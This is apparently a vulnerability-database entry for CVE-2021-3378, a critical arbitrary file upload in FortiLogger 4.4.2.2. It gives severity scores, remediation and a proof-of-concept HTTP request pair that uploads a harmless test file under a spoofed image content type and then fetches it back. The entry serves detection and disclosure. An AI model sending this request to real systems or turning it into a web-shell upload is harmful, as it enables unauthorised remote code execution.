🔙 목록으로 돌아가기

CVE-2021-3378: FortiLogger 4.4.2.2 - Arbitrary File Upload

TitleFortiLogger 4.4.2.2 - Arbitrary File Upload
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system.
RemediationApply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.92847
CVE IDCVE-2021-3378
CWE IDCWE-434
Tags cve cve2021 fortilogger fortigate fortinet packetstorm fileupload intrusive vuln

🔍 Vulnerability Description

FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a “Content-Type: image/png” header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.

🌐 HTTP Request

POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 207
Accept: application/json
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------WebKitFormBoundarySHHbUsfCoxlX1bpS

Content-Disposition: form-data; name="file"; filename="poc.txt"

Content-Type: image/png



38FLBZ34QwNBjUYUj4oKSESyIwj



------WebKitFormBoundarySHHbUsfCoxlX1bpS
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3378.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-3378.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A